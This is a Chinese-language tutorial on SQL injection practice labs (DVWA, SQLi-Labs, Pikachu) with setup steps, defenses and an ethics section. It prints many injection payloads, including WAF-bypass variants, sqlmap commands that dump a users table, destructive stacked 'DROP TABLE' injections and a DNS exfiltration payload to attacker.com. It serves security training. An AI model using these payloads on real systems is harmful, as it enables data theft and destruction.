1. SQL注入靶场实验概述
SQL注入靶场是网络安全学习中最经典的实战环境之一。我第一次接触这个靶场是在2018年参加某次网络安全培训时,当时连最简单的字符型注入都花了整整一个下午才搞定。这种靶场本质上是一个刻意设计存在漏洞的Web应用,允许安全人员在不违法的前提下,合法地练习各种SQL注入技术。
典型的SQL注入靶场会模拟常见的Web应用场景:用户登录、商品搜索、文章浏览等。这些功能背后都连接着数据库,而且开发者故意留下了SQL注入漏洞。比如在登录功能中,用户名和密码参数未经任何过滤就直接拼接到SQL语句中,这就是最基础的注入点。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 常见SQL注入靶场类型
2.1 DVWA靶场
DVWA(Damn Vulnerable Web Application)是最知名的Web安全靶场之一。它的SQL注入模块分为四个难度等级:
- Low级别:完全没有防护,直接字符串拼接
- Medium级别:使用了mysql_real_escape_string()过滤
- High级别:使用了预处理语句但实现有误
- Impossible级别:正确使用预处理语句
搭建方法:
bash复制# 使用Docker快速部署
docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa
2.2 SQLi-Labs靶场
SQLi-Labs是专注于SQL注入的靶场,包含65关不同类型的注入挑战:
- 数字型注入
- 字符型注入
- 报错注入
- 布尔盲注
- 时间盲注
- 堆叠查询
- 二次注入
每关都有明确提示和解题思路,非常适合系统性学习。
2.3 Pikachu靶场
Pikachu靶场的特点是场景丰富,包含:
- 登录框注入
- 搜索框注入
- Cookie注入
- HTTP头注入
- 宽字节注入
- Base64编码注入
3. SQL注入实战技巧
3.1 基础注入手法
3.1.1 万能密码绕过
sql复制admin' or '1'='1
admin'--
admin'/*
3.1.2 联合查询注入
sql复制' union select 1,2,3--
' union select database(),user(),version()--
3.1.3 报错注入
sql复制' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--
' and extractvalue(1,concat(0x7e,(select database())))--
3.2 盲注技巧
3.2.1 布尔盲注
sql复制' and length(database())=4--
' and substr(database(),1,1)='a'--
3.2.2 时间盲注
sql复制' and if(ascii(substr(database(),1,1))>97,sleep(3),0)--
3.3 绕过WAF技巧
3.3.1 大小写混淆
sql复制' UnIoN SeLeCt 1,2,3--
3.3.2 注释混淆
sql复制'/**/union/**/select/**/1,2,3--
3.3.3 编码绕过
sql复制'%20union%20select%201,2,3--
4. 靶场实战演示
4.1 DVWA Low级别注入
- 在登录框尝试万能密码:
code复制Username: admin' or '1'='1
Password: 任意
- 获取数据库版本:
sql复制' union select 1,version(),3--
- 获取所有数据库名:
sql复制' union select 1,group_concat(schema_name),3 from information_schema.schemata--
4.2 SQLi-Labs Less-1(字符型注入)
- 判断注入点:
code复制id=1' and '1'='1 # 正常
id=1' and '1'='2 # 异常
- 获取当前数据库用户:
sql复制id=1' union select 1,user(),3--
- 获取表名:
sql复制id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--
5. 防御措施与最佳实践
5.1 开发层面防护
- 使用预处理语句(PDO)
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
- 输入验证
php复制if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die('Invalid username');
}
- 最小权限原则
sql复制GRANT SELECT ON database.* TO 'webuser'@'localhost';
5.2 运维层面防护
- 修改默认错误信息
php复制ini_set('display_errors', 'Off');
- 定期更新数据库
bash复制apt-get update && apt-get upgrade mysql-server
- 使用WAF防护
nginx复制location / {
ModSecurityEnabled on;
ModSecurityConfig modsecurity.conf;
}
6. 常见问题排查
6.1 注入语句不生效
可能原因:
- 存在WAF拦截
- 参数被转义处理
- 不是字符串类型注入
解决方案:
- 尝试不同的注入方式
- 使用编码绕过
- 测试数字型注入
6.2 无法获取完整数据
可能原因:
- group_concat长度限制
- 字段被截断
解决方案:
sql复制' union select 1,substring(group_concat(table_name),1,50),3 from information_schema.tables--
6.3 盲注效率低下
优化方案:
- 使用二分法缩小范围
- 编写自动化脚本
- 优先获取关键信息
7. 靶场搭建指南
7.1 本地环境搭建
- 安装XAMPP/WAMP
- 下载靶场源码
- 配置数据库
sql复制CREATE DATABASE dvwa;
GRANT ALL ON dvwa.* TO 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd';
7.2 Docker部署
bash复制# DVWA
docker run -d -p 8080:80 vulnerables/web-dvwa
# SQLi-Labs
docker run -d -p 8081:80 acgpiano/sqli-labs
# Pikachu
docker run -d -p 8082:80 area39/pikachu
7.3 云服务器部署
- 安装LAMP环境
bash复制apt-get install apache2 mysql-server php libapache2-mod-php
- 配置虚拟主机
apache复制<VirtualHost *:80>
DocumentRoot /var/www/html/dvwa
ServerName dvwa.test
</VirtualHost>
- 设置文件权限
bash复制chown -R www-data:www-data /var/www/html/dvwa
8. 自动化工具使用
8.1 SQLMap基础用法
bash复制# 检测注入点
sqlmap -u "http://target.com/page.php?id=1"
# 获取数据库
sqlmap -u "http://target.com/page.php?id=1" --dbs
# 获取表
sqlmap -u "http://target.com/page.php?id=1" -D dvwa --tables
# 获取数据
sqlmap -u "http://target.com/page.php?id=1" -D dvwa -T users --dump
8.2 自定义Tamper脚本
python复制# xforwarded.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
return "X-Forwarded-For: " + payload
使用方法:
bash复制sqlmap -u "http://target.com" --tamper=xforwarded
9. 进阶挑战与技巧
9.1 二次注入实战
- 注册特殊用户名
sql复制admin'--
- 修改密码时触发
sql复制UPDATE users SET password='newpass' WHERE username='admin'-- '';
9.2 堆叠注入利用
sql复制'; DROP TABLE users; --
'; CREATE TABLE hacked(data text); --
9.3 DNS外带数据
sql复制' and load_file(concat('\\\\',(select database()),'.attacker.com\\share'))--
10. 法律与道德规范
- 仅限授权测试
- 禁止真实网站测试
- 测试前签订授权协议
- 发现漏洞及时报告
- 不保留敏感数据
在实际渗透测试中,我通常会先与客户明确测试范围,签订书面授权协议,并约定漏洞披露流程。测试过程中避免使用破坏性语句(如DROP TABLE),所有测试数据最后都要彻底清除。
